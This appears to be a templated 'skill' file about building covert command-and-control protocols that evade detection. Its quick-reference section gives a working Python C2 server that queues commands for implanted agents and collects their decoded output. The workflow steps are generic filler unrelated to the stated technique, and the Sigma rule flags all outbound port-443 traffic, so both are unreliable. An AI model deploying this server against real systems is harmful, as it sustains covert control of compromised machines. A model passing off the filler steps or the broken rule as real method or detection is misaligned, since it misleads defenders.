<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: building-custom-c2-protocols
description: >-
  Build custom command and control protocols using legitimate service APIs, steganography, and encrypted channels to evade detection.
domain: cybersecurity
subdomain: c2-frameworks
tags:
  - custom-c2
  - protocol-design
  - steganography
  - encryption
  - evasion
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1071", "T1001"]
  cwe: ["CWE-300"]
  tools: ["Python", "Go", "libsodium", "protobuf", "gRPC"]
---

# Building Custom C2 Protocols

## Overview

Build custom command and control protocols using legitimate service APIs, steganography, and encrypted channels to evade detection.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `Python` | Security tooling |
| `Go` | Security tooling |
| `libsodium` | Security tooling |
| `protobuf` | Security tooling |
| `gRPC` | Security tooling |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |
| Relevant target samples or systems acquired through authorized channels | Environment requirement |

## Quick Reference

```python
# Minimal custom C2 server (Python)
import http.server
import json
import base64

class C2Handler(http.server.BaseHTTPRequestHandler):
    tasks = {}

    def do_GET(self):
        agent_id = self.path.strip('/')
        task = self.tasks.pop(agent_id, {"cmd": "sleep", "args": "30"})
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(json.dumps(task).encode())

    def do_POST(self):
        length = int(self.headers['Content-Length'])
        data = json.loads(self.rfile.read(length))
        print(f"[+] Agent {data['id']}: {base64.b64decode(data['output']).decode()}")
        self.send_response(200)
        self.end_headers()

http.server.HTTPServer(('0.0.0.0', 8443), C2Handler).serve_forever()
```

## Workflow

### Step 1: Preparation and Reconnaissance

```bash
# Identify target and gather initial intelligence
file ./target_sample
python --version 2>/dev/null || echo "Install Python"

# Set up working directory
mkdir -p /tmp/building-custom-c2-protocols/{output,logs,artifacts}
```

### Step 2: Primary Analysis

```bash
# Execute primary analysis with Python
# Refer to Quick Reference above for detailed commands
echo "[*] Running Building Custom C2 Protocols with Python..."

# Log all operations
script -q /tmp/building-custom-c2-protocols/logs/session.log
```

### Step 3: Deep Investigation

```bash
# Apply Go for secondary analysis
echo "[*] Deep investigation with Go..."

# Cross-reference findings
diff /tmp/building-custom-c2-protocols/output/primary.json /tmp/building-custom-c2-protocols/output/secondary.json
```

### Step 4: Documentation and Reporting

```bash
# Generate structured findings report
cat <<'EOF' > /tmp/building-custom-c2-protocols/output/report.json
{
  "technique": "building-custom-c2-protocols",
  "domain": "c2-frameworks",
  "tools_used": ["Python", "Go"],
  "findings": [],
  "recommendations": []
}
EOF
```

## Detection

```yaml
title: Custom C2 Protocols Detection
id: fea745c4-c832-4758-8729-da0335ab4417
status: experimental
description: Detects suspicious activity related to building custom c2 protocols techniques in c2 frameworks context
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    DestinationPort: 443
    Initiated: "true"
  condition: selection
level: high
tags:
  - attack.t1071
  - attack.t1001
  - attack.command_and_control
falsepositives:
  - Authorized penetration testing tools during scheduled assessments
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Custom C2 Protocols Detection | windows/network_connection | Sigma rule (high) |
| ATT&CK Coverage | MITRE ATT&CK | T1071, T1001 |

## Verification

- [ ] Environment and tools verified and operational
- [ ] Target samples acquired through authorized channels
- [ ] Primary analysis completed with findings documented
- [ ] Secondary validation performed with independent tooling
- [ ] All artifacts preserved in structured output directory
- [ ] Detection opportunities documented for blue team

## References

- [MITRE ATT&CK T1071](https://attack.mitre.org/techniques/T1071) — Related technique
- [Python Documentation](https://python.org/) — Primary tooling
- [Go Reference](https://go.org/) — Secondary tooling
